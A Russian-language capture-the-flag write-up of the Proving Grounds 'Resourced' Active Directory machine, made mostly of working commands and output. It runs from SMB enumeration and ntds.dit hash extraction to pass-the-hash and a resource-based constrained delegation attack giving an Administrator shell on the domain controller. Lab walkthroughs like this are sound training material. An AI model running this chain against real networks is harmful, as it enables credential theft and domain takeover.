Перейти к основному содержимому
  1. Posts/

ProvingGrounds - Resourced

Write-Up Windows ActiveDirectory ProvingGrounds Evil-Winrm BloodHound Crackmapexec Smbclient Impacket SeMachineAccountPrivilege RBCD
breach.zone
Автор
breach.zone
Оглавление

На официальном сайте сложность машины оценивается, как Very Hard.

NMAP
#

Начинаем с быстрого сканирования для определения всех слушающих портов.

nmap -v -Pn -T4 -p- 192.168.183.175
Nmap fast scan
Nmap fast scan

Затем приступаем к детальном сканированию найденных портов.

nmap -v -Pn -A -p 53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389,49666,49668,49669,49675,49676,49694,49712 192.168.183.175
Nmap detailed scan
Nmap detailed scan

Сразу можем добавить запись в /etc/hosts для найденного доменного имени.

SMB
#

Начинаем базовую энумерацию SMB с помощью crackmapexec.

Users
#

crackmapexec smb 192.168.183.175 -u '' -p '' --users
crackmapexec --users
crackmapexec –users

Внимание сразу привлекает две вещи:

  1. Пароль в открытом виде в описании пользователя V.Ventz.
  2. Пользователи, которые являются админами (M.Mason, L.Livingstone, R.Robinson) и вероятно имеют болеe высокие привелегии, чем остальные.

Так как мы уже нашли один пароль, то дальнейшее исследование SMB мы будем проводить с учетными данными пользователя V.Ventz.

Shares
#

crackmapexec smb 192.168.183.175 -u 'V.Ventz' -p 'HotelCalifornia194!' --shares
crackmapexec --shares
crackmapexec –shares

Внимание привлекает директория под названием Password Audit. Мы конечно же проверим и другие, так как права READ, есть не только к ней. Но для экономии времии, я сразу скажу, что интерес представляет Password Audit.

smbclient
#

crackmapexec smb 192.168.183.175 -u 'V.Ventz' -p 'HotelCalifornia194!' --only-files --regex . --spider 'Password Audit'
password audit share
password audit share

Кто-то любезно оставил на общедоступной шаре файлы, которые хранят в себе хэши локальных и доменных паролей.

Давайте подключимся и скачаем их:

smbclient --user 'resourced.local\V.Ventz' --password 'HotelCalifornia194!' \\\\192.168.183.175\\Password\ Audit
smb: \> cd "Active Directory"
smb: \Active Directory\> get ntds.dit
getting file \Active Directory\ntds.dit of size 25165824 as ntds.dit (5809.9 KiloBytes/sec) (average 5809.9 KiloBytes/sec)

smb: \Active Directory\> cd ..
smb: \> cd registry\
smb: \registry\> get SECURITY
getting file \registry\SECURITY of size 65536 as SECURITY (744.2 KiloBytes/sec) (average 5709.0 KiloBytes/sec)

smb: \registry\> get SYSTEM
getting file \registry\SYSTEM of size 16777216 as SYSTEM (6750.7 KiloBytes/sec) (average 6083.9 KiloBytes/sec)

В итоге мы скачали себе 3 файла: ntds.dit, SECURITY, SYSTEM.

О том, что это за файлы и для чего они нужны я рассказывал в статье об эскалации привелегий через SeBackupPrivilege.

SeBackupPrivilege
Windows Privilege Escalation SeBackupPrivilege Impacket-Secretsdump SAM Diskshadow Hashcat Evil-Winrm Crackmapexec Robocopy
Использование привилегии SeBackupPrivilege для извлечения хэшей паролей из SAM или NTDS на контроллере домена.

impacket-secretsdump
#

Теперь с помощью impacket-secretsdump мы можем извлечь хэши из ntds.dit и SECURITY.

impacket-secretsdump -system SYSTEM -security SECURITY -ntds ntds.dit LOCAL
NTLM Hashes
NTLM Hashes

Сохраним хэши в файл ntlm.hash и попробуем подобрать пароли с помощью hashcat.

Hashcat
#

hashcat -m 1000 ntlm.hash /usr/share/wordlists/rockyou.txt

К сожалению неудачно.

Pass the Hash
#

Для того, чтобы подключиться к системе или выполнять другие команды, нам не обязательно знать пароль, можно использовать хэш.

evil-winrm
#

Ранее я отметил нескольких интересных пользователей, которые подходили для того, чтобы попробовать получить к ним доступ в первую очередь. Я перепробовал хэши к разным пользователям и сразу скажу, что это L.Livingstone, который значится, как SysAdmin.

evil-winrm -i 192.168.183.175 -u L.Livingstone -H 19a3a7550ce8c505c2d46b5e39d6f808
evil-winrm
evil-winrm

Как видно на скриншоте, пользователь обладает привелегией SeMachineAccountPrivilege.

SeMachineAccountPrivilege
#

Привилегия SeMachineAccountPrivilege позволяет пользователю создавать и добавлять учетные записи компьютеров в домен Active Directory, что открывает для нас потенциальную возможность атаки через RBCD (Resource-Based Constrained Delegation).

RBCD
#

Resource-Based Constrained Delegation (RBCD) — это функция в Active Directory, которая позволяет администратору ресурса (например, сервера) контролировать, кто может выдавать запросы на доступ к этому ресурсу от имени других пользователей.

Обладая привилегией SeMachineAccountPrivilege можно создать фиктивную учетную запись компьютера, а затем настроить атрибут msDS-AllowedToActOnBehalfOfOtherIdentity на целевом ресурсе, позволяя этой учетной записи действовать от имени других пользователей. После этого можно запросить (TGS) билет Kerberos от имени привилегированной учетной записи (например, администратора), что дает возможность выполнять действия с высокими привилегиями в системе.

Осталось выполнить буквально 4 команды, чтобы получить shell на контроллер домена от имени Administrator.

Перед тем, как приступить добавьте в /etc/hosts запись, если не сделали это ранее.

192.168.183.175 resourcedc.resourced.local resourced.local

Добавление нового компьютера в домен
#

Добавим новый компьютер fake-pc$ с паролем Winter2025!.

impacket-addcomputer -dc-ip 192.168.183.175 -hashes aad3b435b51404eeaad3b435b51404ee:19a3a7550ce8c505c2d46b5e39d6f808 -computer-name 'fake-pc$' -computer-pass 'Winter2025!' resourced.local/L.Livingstone

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Successfully added machine account fake-pc$ with password Winter2025!.

Делегирование
#

Предоставим учетной записи компьютера fake-pc$ право действовать от имени других пользователей на целевом ресурсе RESOURCEDC$.

RESOURCEDC$ - это контроллер домена.

BloodHound
BloodHound
impacket-rbcd -dc-ip 192.168.183.175 -hashes aad3b435b51404eeaad3b435b51404ee:19a3a7550ce8c505c2d46b5e39d6f808 -delegate-from 'fake-pc$' -delegate-to 'RESOURCEDC$' -action 'write' resourced.local/L.Livingstone
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] fake-pc$ can now impersonate users on RESOURCEDC$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*]     fake-pc$     (S-1-5-21-537427935-490066102-1511301751-4101)

Запрос TGS билета
#

Запросим Kerberos Service Ticket (ST) от имени учетной записи Administrator для службы cifs/RESOURCEDC.RESOURCED.LOCAL, используя учетную запись fake-pc$.

impacket-getST -dc-ip 192.168.183.175 -spn 'cifs/RESOURCEDC.RESOURCED.LOCAL' -impersonate 'Administrator' 'resourced.local/fake-pc$':'Winter2025!'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
/usr/share/doc/python3-impacket/examples/getST.py:380: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow()
/usr/share/doc/python3-impacket/examples/getST.py:477: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[*] Requesting S4U2self
/usr/share/doc/python3-impacket/examples/getST.py:607: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow()
/usr/share/doc/python3-impacket/examples/getST.py:659: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@[email protected]

В текущем каталоге будет создан файл 'Administrator@[email protected]'.

Переименуем его в Administrator.ccache и установим переменную окружения KRB5CCNAME.

mv 'Administrator@[email protected]' Administrator.ccache
export KRB5CCNAME=./Administrator.ccache

Получение shell
#

Теперь остался финальный шаг - это используя TGS билет получить shell на контроллер домена через impacket-psexec.

impacket-psexec -dc-ip 192.168.183.175 -k -no-pass resourced.local/[email protected]
psexec
psexec

Флаги
#

Ну и в завершении, забираем флаги с машины:

Flag 1
#

Flag 1
Flag 1

Flag 2
#

Flag 2
Flag 2

Подписывайтесь на мой Telegram канал Breach_Zone и твиттер Breach_Zone!